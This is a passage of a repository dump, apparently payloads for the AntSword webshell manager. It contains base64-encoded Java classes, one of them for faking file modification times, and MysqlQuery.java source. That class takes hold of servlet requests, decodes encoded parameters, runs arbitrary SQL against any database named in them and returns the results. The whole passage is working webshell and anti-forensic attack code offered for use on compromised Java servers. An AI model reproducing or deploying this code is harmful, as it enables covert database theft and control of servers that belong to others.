yv66vgAAADIA/AoARgB1CQBWAHYJAFYAdwcAeAoABAB5BwB6CgAEAHsHAHwKAEYAfQgAVwoAQwB+CgB/AIAKAH8AgQgAWQcAggoADwCDCABbCwAGAIQIAIUJAFYAhggAhwgAiAkAVgCJBwCKCgAYAIsIAIwLAAgAjQsABgCOCwAIAI4HAI8KAB4AdQgAkAoAHgCRCgAeAJIKAFYAkwoAVgCUCACVCACWCgAYAJcKAFYAmAoAGACSCACZCwAIAJoKAJsAnAgAnQoADwCSCACeCgAxAJ8HAKAKADEAoQoAMQCiCACjCgAxAKQHAKUKADEApgoANgCnCgAxAKgKADEAqQoAHgCqCACrCgA2AKwKADYArQgArggArwoAQwCwCACxBwCyCgBDALMKAEMAtAcAtQoAtgC3BwC4BwC5CAC6CAC7CABuBwC8CgBNAIsHAL0IAL4KAE8AiwoATwC/CgDAAMEKAE0AwggAwwcAcQEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAggcAcQcAcQcAtQcAoAcAigEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwClBwC5AQAXTW9kaWZ5RmlsZU9yRGlyVGltZUNvZGUBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABxNb2RpZnlGaWxlT3JEaXJUaW1lQ29kZS5qYXZhDABeAF8MAFcAWAwAWQBaAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAMQAxQEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAMYAxwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADIAMkMAMoAywcAzAwAzQDODADPANABABNqYXZhL2xhbmcvRXhjZXB0aW9uDADRAF8MANIAbAEAAAwAWwBcAQAHY2hhcnNldAEABVVURi04DABdAFwBABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyDABeANMBAAl0ZXh0L2h0bWwMANQA0wwA1QDTAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAR2YXIxDADWANcMANgA2QwAbgBsDABrAGwBAAR2YXIyAQADLT58DADWANoMAHEAcgEAA3w8LQwA2wDcBwDdDADeANMBAAlFUlJPUjovLyABAANoZXgMAGIAYwEAEGphdmEvbGFuZy9TdHJpbmcMAN8A4AwAXgDhAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA4gDZAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAOMA5AwAXgDlDADmAOcMAOgA6QwA1gDqAQABLAwA6wDlDADYAGwBAAZiYXNlNjQBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDADsAO0BAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAO4A7wwA8ADxAQAQamF2YS9sYW5nL09iamVjdAcA8gwA8wD0AQACW0IBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyAQAMamF2YS9pby9GaWxlAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQBABN5eXl5LU1NLWRkIEhIOm1tOnNzDAD1APYHAPcMAPgA+QwA+gD7AQABMQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEADGdldFBhcmFtZXRlcgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABXBhcnNlAQAkKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL0RhdGU7AQAOamF2YS91dGlsL0RhdGUBAAdnZXRUaW1lAQADKClKAQAPc2V0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 -------------------------------------------------------------------------------- /MysqlQuery.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/yzddmr6/JspForAntSword/9c1fe021ad61faf0c7e5d4385b99d852fbd9f531/MysqlQuery.class -------------------------------------------------------------------------------- /MysqlQuery.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.http.HttpServletRequest; 2 | import javax.servlet.http.HttpServletResponse; 3 | import javax.servlet.jsp.PageContext; 4 | import java.io.ByteArrayOutputStream; 5 | import java.lang.reflect.Field; 6 | import java.sql.*; 7 | 8 | public class MysqlQuery { 9 | public HttpServletRequest request = null; 10 | public HttpServletResponse response = null; 11 | public String encoder; 12 | public String cs; 13 | 14 | @Override 15 | public boolean equals(Object obj) { 16 | if (obj instanceof PageContext) { 17 | PageContext page = (PageContext) obj; 18 | request = (HttpServletRequest) page.getRequest(); 19 | response = (HttpServletResponse) page.getResponse(); 20 | } else if (obj instanceof HttpServletRequest) { 21 | request = (HttpServletRequest) obj; 22 | try { 23 | Field req = request.getClass().getDeclaredField("request"); 24 | req.setAccessible(true); 25 | HttpServletRequest request2 = (HttpServletRequest) req.get(request); 26 | Field resp = request2.getClass().getDeclaredField("response"); 27 | resp.setAccessible(true); 28 | response = (HttpServletResponse) resp.get(request2); 29 | } catch (Exception e) { 30 | e.printStackTrace(); 31 | } 32 | 33 | } else if (obj instanceof HttpServletResponse) { 34 | response = (HttpServletResponse) obj; 35 | try { 36 | Field resp = response.getClass().getDeclaredField("response"); 37 | resp.setAccessible(true); 38 | HttpServletResponse response2 = (HttpServletResponse) resp.get(response); 39 | Field req = response2.getClass().getDeclaredField("request"); 40 | req.setAccessible(true); 41 | request = (HttpServletRequest) req.get(response2); 42 | } catch (Exception e) { 43 | e.printStackTrace(); 44 | } 45 | } 46 | encoder = request.getParameter("encoder") != null ? request.getParameter("encoder") : ""; 47 | cs = request.getParameter("charset") != null ? request.getParameter("charset") : "UTF-8"; 48 | StringBuffer output = new StringBuffer(""); 49 | StringBuffer sb = new StringBuffer(""); 50 | try { 51 | response.setContentType("text/html"); 52 | request.setCharacterEncoding(cs); 53 | response.setCharacterEncoding(cs); 54 | String var0 = EC(decode(request.getParameter("var0") + "")); 55 | String var1 = EC(decode(request.getParameter("var1") + "")); 56 | String var2 = EC(decode(request.getParameter("var2") + "")); 57 | output.append("->" + "|"); 58 | sb.append(query(var0, var1, var2)); 59 | output.append(sb.toString()); 60 | output.append("|" + "<-"); 61 | response.getWriter().print(output.toString()); 62 | } catch (Exception e) { 63 | sb.append("ERROR" + ":// " + e.toString()); 64 | } 65 | return true; 66 | } 67 | 68 | String EC(String s) throws Exception { 69 | if (encoder.equals("hex")) return s; 70 | return new String(s.getBytes(), cs); 71 | } 72 | 73 | String decode(String str) throws Exception { 74 | if (encoder.equals("hex")) { 75 | if (str == null || str.equals("")) { 76 | return ""; 77 | } 78 | String hexString = "0123456789ABCDEF"; 79 | str = str.toUpperCase(); 80 | ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length() / 2); 81 | String ss = ""; 82 | for (int i = 0; i < str.length(); i += 2) { 83 | ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ","; 84 | baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1)))); 85 | } 86 | return baos.toString("UTF-8"); 87 | } else if (encoder.equals("base64")) { 88 | byte[] bt = null; 89 | try { 90 | Class clazz = Class.forName("sun.misc.BASE64Decoder"); 91 | bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); 92 | } catch (ClassNotFoundException e) { 93 | Class clazz = Class.forName("java.util.Base64"); 94 | Object decoder = clazz.getMethod("getDecoder").invoke(null); 95 | bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); 96 | } 97 | return new String(bt, "UTF-8"); 98 | } 99 | return str; 100 | } 101 | 102 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 103 | throws Exception { 104 | String ret = ""; 105 | conn = (EC(conn)); 106 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 107 | Class.forName(x[0].trim()); 108 | String url = x[1] + "&characterEncoding=" + encode; 109 | Connection c = DriverManager.getConnection(url); 110 | Statement stmt = c.createStatement(); 111 | ResultSet rs = stmt.executeQuery(sql); 112 | ResultSetMetaData rsmd = rs.getMetaData(); 113 | 114 | if (needcoluname) { 115 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 116 | String columnName = rsmd.getColumnName(i); 117 | ret += columnName + columnsep; 118 | } 119 | ret += rowsep; 120 | } 121 | 122 | while (rs.next()) { 123 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 124 | String columnValue = rs.getString(i); 125 | ret += columnValue + columnsep; 126 | } 127 | ret += rowsep; 128 | } 129 | return ret; 130 | } 131 | 132 | String query(String encode, String conn, String sql) throws Exception { 133 | String columnsep = "\t|\t"; 134 | String rowsep = "\r\n"; 135 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 136 | } 137 | 138 | } 139 | -------------------------------------------------------------------------------- /MysqlQuery.txt: -------------------------------------------------------------------------------- 1 | yv66vgAAADIBLAoARwCECQBeAIUJAF4AhgcAhwoABACIBwCJCgAEAIoHAIsKAEcAjAgAXwoARACNCgCOAI8KAI4AkAgAYQcAkQoADwCSCABjCwAGAJMIAJQJAF4AlQgAlggAlwkAXgCYBwCZCgAYAJoIAJsLAAgAnAsABgCdCwAIAJ0HAJ4KAB4AhAgAnwoAHgCgCgAeAKEKAF4AogoAXgCjCACkCAClCACmCgAYAKcKAF4AqAoAGAChCACpCwAIAKoKAKsArAgArQoADwChCACuCgAyAK8HALAKADIAsQoAMgCyCACzCgAyALQHALUKADIAtgoANwC3CgAyALgKADIAuQoAHgC6CAC7CgA3ALwKADcAvQgAvggAvwoARADACADBBwDCCgBEAMMKAEQAxAcAxQoAxgDHBwDIBwDJCADKCADLCAB2CgAyAMwIAM0IAM4KADIAzwoAMgDQCADRCgDSANMLANQA1QsA1gDXCwDYANkLANoA2wsA2gDcCwDYAN0LANgA3ggA3woAXgDgBwDhAQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2VuY29kZXIBABJMamF2YS9sYW5nL1N0cmluZzsBAAJjcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAA1TdGFja01hcFRhYmxlBwCRBwDhBwDhBwDFBwCwBwCZAQACRUMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACkV4Y2VwdGlvbnMBAAZkZWNvZGUHALUHAMkBAApleGVjdXRlU1FMAQBvKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO1opTGphdmEvbGFuZy9TdHJpbmc7BwDiBwDjBwDkBwDlBwDmAQAFcXVlcnkBAEooTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA9NeXNxbFF1ZXJ5LmphdmEMAGYAZwwAXwBgDABhAGIBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA5wDoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA6QDqAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAOsA7AwA7QDuBwDvDADwAPEMAPIA8wEAE2phdmEvbGFuZy9FeGNlcHRpb24MAPQAZwwA9QB0AQAADABjAGQBAAdjaGFyc2V0AQAFVVRGLTgMAGUAZAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAGYA9gEACXRleHQvaHRtbAwA9wD2DAD4APYBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAPkA+gwA+wD8DAB2AHQMAHMAdAEABHZhcjEBAAR2YXIyAQADLT58DAD5AP0MAIAAgQEAA3w8LQwA/gD/BwEADAEBAPYBAAlFUlJPUjovLyABAANoZXgMAGoAawEAEGphdmEvbGFuZy9TdHJpbmcMAQIBAwwAZgEEAQAQMDEyMzQ1Njc4OUFCQ0RFRgwBBQD8AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQYBBwwAZgEIDAEJAQoMAQsBDAwA+QENAQABLAwBDgEIDAD7AHQBAAZiYXNlNjQBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAEPARABAAxkZWNvZGVCdWZmZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAREBEgwBEwEUAQAQamF2YS9sYW5nL09iamVjdAcBFQwBFgEXAQACW0IBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXREZWNvZGVyDAEYAPwBAAINCgEAAQoMARkBGgwBGwEcAQATJmNoYXJhY3RlckVuY29kaW5nPQcBHQwBHgEfBwDjDAEgASEHAOQMASIBIwcA5QwBJAElBwDmDAEmAQcMAScBKAwBKQEqDAErASgBAAMJfAkMAHkAegEACk15c3FsUXVlcnkBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAARuZXh0AQADKClaAQAJZ2V0U3RyaW5nACEAXgBHAAAABAABAF8AYAAAAAEAYQBiAAAAAQBjAGQAAAABAGUAZAAAAAYAAQBmAGcAAQBoAAAALwACAAEAAAAPKrcAASoBtQACKgG1AAOxAAAAAQBpAAAADgADAAAACAAEAAkACQAKAAEAagBrAAEAaAAAA1kABQAHAAACGSvBAASZACErwAAETSostgAFwAAGtQACKiy2AAfAAAi1AAOnAKwrwQAGmQBSKivAAAa1AAIqtAACtgAJEgq2AAtNLAS2AAwsKrQAArYADcAABk4ttgAJEg62AAs6BBkEBLYADCoZBC22AA3AAAi1AAOnAF5NLLYAEKcAVivBAAiZAE8qK8AACLUAAyq0AAO2AAkSDrYAC00sBLYADCwqtAADtgANwAAITi22AAkSCrYACzoEGQQEtgAMKhkELbYADcAABrUAAqcACE0stgAQKiq0AAISEbkAEgIAxgARKrQAAhIRuQASAgCnAAUSE7UAFCoqtAACEhW5ABICAMYAESq0AAISFbkAEgIApwAFEha1ABe7ABhZEhO3ABlNuwAYWRITtwAZTiq0AAMSGrkAGwIAKrQAAiq0ABe5ABwCACq0AAMqtAAXuQAdAgAqKrsAHlm3AB8qtAACEiC5ABICALYAIRITtgAhtgAitgAjtgAkOgQqKrsAHlm3AB8qtAACEiW5ABICALYAIRITtgAhtgAitgAjtgAkOgUqKrsAHlm3AB8qtAACEia5ABICALYAIRITtgAhtgAitgAjtgAkOgYsEie2AChXLSoZBBkFGQa2ACm2AChXLC22ACq2AChXLBIrtgAoVyq0AAO5ACwBACy2ACq2AC2nACE6BC27AB5ZtwAfEi62ACEZBLYAL7YAIbYAIrYAKFcErAADADQAcABzAA8AigDGAMkADwEmAfYB+QAPAAIAaQAAALoALgAAABAABwARAAwAEgAXABMAIgAUACwAFQA0ABcAQQAYAEYAGQBSABoAXQAbAGMAHABwAB8AcwAdAHQAHgB4AB8AewAhAIIAIgCKACQAlwAlAJwAJgCoACcAswAoALkAKQDGACwAyQAqAMoAKwDOAC4A8AAvARIAMAEcADEBJgAzATEANAE+ADUBSwA2AXIANwGZADgBwAA5AccAOgHWADsB3wA8AeYAPQH2AEAB+QA+AfsAPwIXAEEAbAAAAFYACyX3AE0HAG0H9wBNBwBtBFwHAG7/AAEAAgcAbwcAcAACBwBuBwBxXwcAbv8AAQACBwBvBwBwAAIHAG4HAHH/AOkABAcAbwcAcAcAcgcAcgABBwBtHQAAAHMAdAACAGgAAABDAAQAAgAAAB4qtAAUEjC2ADGZAAUrsLsAMlkrtgAzKrQAF7cANLAAAAACAGkAAAAKAAIAAABFAA4ARgBsAAAAAwABDgB1AAAABAABAA8AAAB2AHQAAgBoAAAB5QAGAAYAAAEtKrQAFBIwtgAxmQCVK8YADCsSE7YAMZkABhITsBI1TSu2ADZMuwA3WSu2ADgFbLcAOU4SEzoEAzYFFQUrtgA4ogBYuwAeWbcAHxkEtgAhLCsVBbYAOrYAOwd4LCsVBQRgtgA6tgA7gLYAPBI9tgAhtgAiOgQtLCsVBbYAOrYAOwd4LCsVBQRgtgA6tgA7gLYAPoQFAqf/pS0SFrYAP7AqtAAUEkC2ADGZAIQBTRJBuABCTi0SQwS9AERZAxMAMlO2AEUttgBGBL0AR1kDK1O2AEjAAEnAAElNpwBIThJLuABCOgQZBBJMA70ARLYARQEDvQBHtgBIOgUZBbYACRJNBL0ARFkDEwAyU7YARRkFBL0AR1kDK1O2AEjAAEnAAElNuwAyWSwSFrcANLArsAABAKwA2ADbAEoAAgBpAAAAXgAXAAAASgAMAEsAGQBMABwATgAfAE8AJABQADIAUQA2AFIAQgBTAHQAVACRAFIAlwBWAJ4AVwCqAFgArABaALIAWwDYAGAA2wBcANwAXQDjAF4A+ABfASAAYQErAGMAbAAAADoACBkC/wAcAAYHAG8HAHEHAHEHAHcHAHEBAAD6AF34AAb/ADwAAwcAbwcAcQcASQABBwB4+wBE+gAKAHUAAAAEAAEADwAAAHkAegACAGgAAAHNAAMAEAAAAR0SEzoHKiy2ACRNLLYAThJPElC2AFESULYAUjoIGQgDMrYATrgAQle7AB5ZtwAfGQgEMrYAIRJTtgAhK7YAIbYAIjoJGQm4AFQ6ChkKuQBVAQA6CxkLLbkAVgIAOgwZDLkAVwEAOg0VBpkAVAQ2DhUOGQ25AFgBAKMALxkNFQ65AFkCADoPuwAeWbcAHxkHtgAhGQ+2ACEZBLYAIbYAIjoHhA4Bp//LuwAeWbcAHxkHtgAhGQW2ACG2ACI6BxkMuQBaAQCZAFcENg4VDhkNuQBYAQCjAC8ZDBUOuQBbAgA6D7sAHlm3AB8ZB7YAIRkPtgAhGQS2ACG2ACI6B4QOAaf/y7sAHlm3AB8ZB7YAIRkFtgAhtgAiOgen/6UZB7AAAAACAGkAAABaABYAAABoAAQAaQAKAGoAHABrACcAbABDAG0ASgBuAFMAbwBdAHAAZgByAGsAcwB6AHQAhQB1AKAAcwCmAHcAvAB6AMYAewDVAHwA4AB9APsAewEBAH8BGgCBAGwAAAA+AAb/AG4ADwcAbwcAcQcAcQcAcQcAcQcAcQEHAHEHAHsHAHEHAHwHAH0HAH4HAH8BAAD6ADcV/AAMAfoANxgAdQAAAAQAAQAPAAAAgACBAAIAaAAAADUABwAGAAAAFRJcOgQSTzoFKissLRkEGQUEtgB